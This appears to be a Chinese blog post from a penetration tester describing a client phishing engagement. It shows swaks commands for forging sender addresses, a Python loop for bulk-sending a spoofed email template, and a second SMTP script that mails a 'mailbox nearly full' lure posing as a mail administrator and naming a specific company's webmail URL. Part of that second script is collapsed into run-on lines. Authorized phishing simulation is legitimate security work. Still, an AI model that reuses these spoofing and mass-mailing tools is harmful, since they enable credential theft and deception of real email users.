关于邮件钓鱼的事件记录

最近接到一个活,是需要给客户进行邮件钓鱼。客户的要求是:伪造他们自己的邮箱进行钓鱼。
之前按我的理解是,邮箱网关服务器配置了spf的话,理论上是无法伪造邮箱的。但是实际上测试好像还是可以的,目前为止好像就qq邮箱比较严,伪造不了,163啥的都可以,只是不能伪造一些大型的域名。
关于邮件钓鱼的事件记录_第1张图片
目前搞这些活的思路就是,你先把邮件样式搞定,然后用foxmail去管理这个邮箱。
然后邮件导出这个右键为eml后缀。
关于邮件钓鱼的事件记录_第2张图片

然后通过swaks --data data.eml -t [email protected] -f [email protected]

如果报流程里一直请求的是localhost:25,可以指定 --server mail.xxx.com

-f 必须存在,不然会报错。

结合下面的代码就可以批量发送邮件。

import time
import sys
import subprocess
#发送的完整邮件内容有2部分组成,一部分是收件人,是可变的,一部分是邮件内容,是不变的,内容使用file_c变量,收件人使用file_f变量,具体看脚本内容

file_c = '''Subject: =?gb2312?B?xxxxxxxdLss6M=?=  
#主题等都是gb2312编码后的base64加密
#Thread-Topic: =?gb2312?B?0/Lxxxxxxxxxss6M=?=
Thread-Index: AdT6eO/KxxxxxxxxxxxxxxxxIKA==
Date: {time.ctime()} +0800
#发送邮件是提前发送的模板邮件,所以需要获取当前时间作为发送时间,不然接收的时间会不对
Accept-Language: zh-CN, en-US
Content-Language: zh-CN
X-MS-Has-Attach:
X-MS-TNEF-Correlator:
x-originating-ip: [x.x.x.x]
Content-Type:xxxxxxxxx;
Return-Path: [email protected]
xxx内容xxx '''



file = open(f'/usr/local/src/{sys.argv[1]}', 'r')
names = file.readlines()
for name in names:
    file_f = f'To: "{name.strip()}" <{name.strip()}>\n'
    #print(file_f)
    with open('/usr/local/src/file.txt', 'w') as f:
        f.writelines(file_f + file_c)
    status = subprocess.Popen(['./swaks', '--data', '/usr/local/src/file.txt', '--to', name.strip(), '--from', '[email protected]'], stdout=subprocess.PIPE)
    lg = status.stdout.readlines()
    print(type(lg))
    with open('/usr/local/src/log.txt', 'a+') as g:
        for line in lg:
            g.write(line.decode())

subprocess.Popen在3.7之后可以用subprocess.run代替,其中多了timeout的参数,增加了阻塞结束的作用。

给一个自己的smtp的py代码吧。

'''
@Author: your name
@Date: 2020-07-06 09:56:36
@LastEditTime: 2020-07-07 13:04:53
@LastEditors: Please set LastEditors
@Description: In User Settings Edit
@FilePath: \smtp\sendmail-by SMTP-mail.py
'''
#!/usr/bin/python
# -*- coding: UTF-8 -*-

import time
import smtplib
import hashlib
import eventlet

from email.mime.text import MIMEText
from email.header import Header
from email.utils import formataddr
 
eventlet.monkey_patch()
time_limit = 5


def mail_content(receiver):
    name = receiver[0]
    mail = receiver[1]
    uuid = receiver[2]


#     mail_msg = """
# 
%s ,您好:
#
您的邮箱使用即将达到容量上限,清及时清理,以保证邮件的正常接受。邮箱服务器地址:https://email.cninfo.com.cn
#
Dear %s ,Your mailbox is nearly full. You'd better clear up it to ensure receiving incoming messages.URL:https://email.cninfo.com.cn.
#
 
#
Generated by Coremail.
#
 
#
# """%(mail,uuid,mail,uuid) mail_msg = """

%s您好:

您的邮箱使用即将达到容量上限,清及时清理,以保证邮件的正常接受。邮箱服务器地址:https://email.cninfo.com.cn

%s,Your mailbox is nearly full. You'd better clear up it to ensure receiving incoming messages.URLhttps://email.cninfo.com.cn/.

 

Generated by Coremail.

"""%(mail,uuid,mail,uuid) return mail_msg subject = '邮箱容量将满/ Your mailbox is nearly full' #显示标题 sender = '[email protected]' #显示发件人 # @retry(stop_max_attempt_number=5,stop_max_delay=3000) # @time_out(2,timeout_callback) def mail_send(sender,mail_user,message): smtpObj.sendmail(sender, mail_user, message.as_string()) smtpObj = smtplib.SMTP('smtp.xxxx.com.cn') #连接smtp服务器 SMTP = 'smtp.xxx.com.cn' with open('./../mail_list_test.txt','r',encoding ='utf-8') as receivers_list: #读取邮件列表 success = 0 #成功计数 fail = 0 #失败计数 for receiver in receivers_list.readlines(): sign = 0 if receiver.strip() == "": #判断空行 continue receiver = receiver.strip().split(',') time.sleep( 3 ) #发送间隔秒 name = receiver[0] mail_user = receiver[1] try: message = MIMEText(mail_content(receiver), 'html', 'utf-8') #生成邮件内容--正文HTML message['Subject'] = Header(subject, 'utf-8') #生成邮件内容--标题 message['From']=formataddr(["邮箱系统管理员",sender]) message['To']=formataddr([name,mail_user]) #生成收件人 if "chacuo" in mail_user: smtpObj = smtplib.SMTP('mx.chacuo.net') #连接smtp服务器 SMTP = 'mx.chacuo.net' smtpObj.set_debuglevel(1) with eventlet.Timeout(time_limit,False): mail_send(sender,mail_user,message) print ("邮件发送成功,收件人为 %s,MX=%s"%(mail_user,SMTP)) success += 1 sign = 1 with open('success1.txt', 'a+',encoding ='utf-8') as f: #不超时记录成功发送的邮件地址 f.writelines(mail_user+"\n") if sign == 0 : fail += 1 print ("Error: 邮件因为超时发送失败,本次收件人为 %s,MX=%s"%(mail_user,SMTP)) with open('fail1.txt', 'a+',encoding ='utf-8') as f: #超时记录失败的邮件地址 f.writelines(mail_user+"\n") except smtplib.SMTPException: fail += 1 print ("Error: 邮件发送失败,本次收件人为 %s,MX=%s"%(mail_user,SMTP)) with open('fail1.txt', 'a+',encoding ='utf-8') as f: #try错误记录失败的邮件地址 f.writelines(mail_user+"\n") print("本次发送邮件最终,成功了%s人,失败了%s人。"%(success,fail))

你可能感兴趣的:(关于邮件钓鱼的事件记录)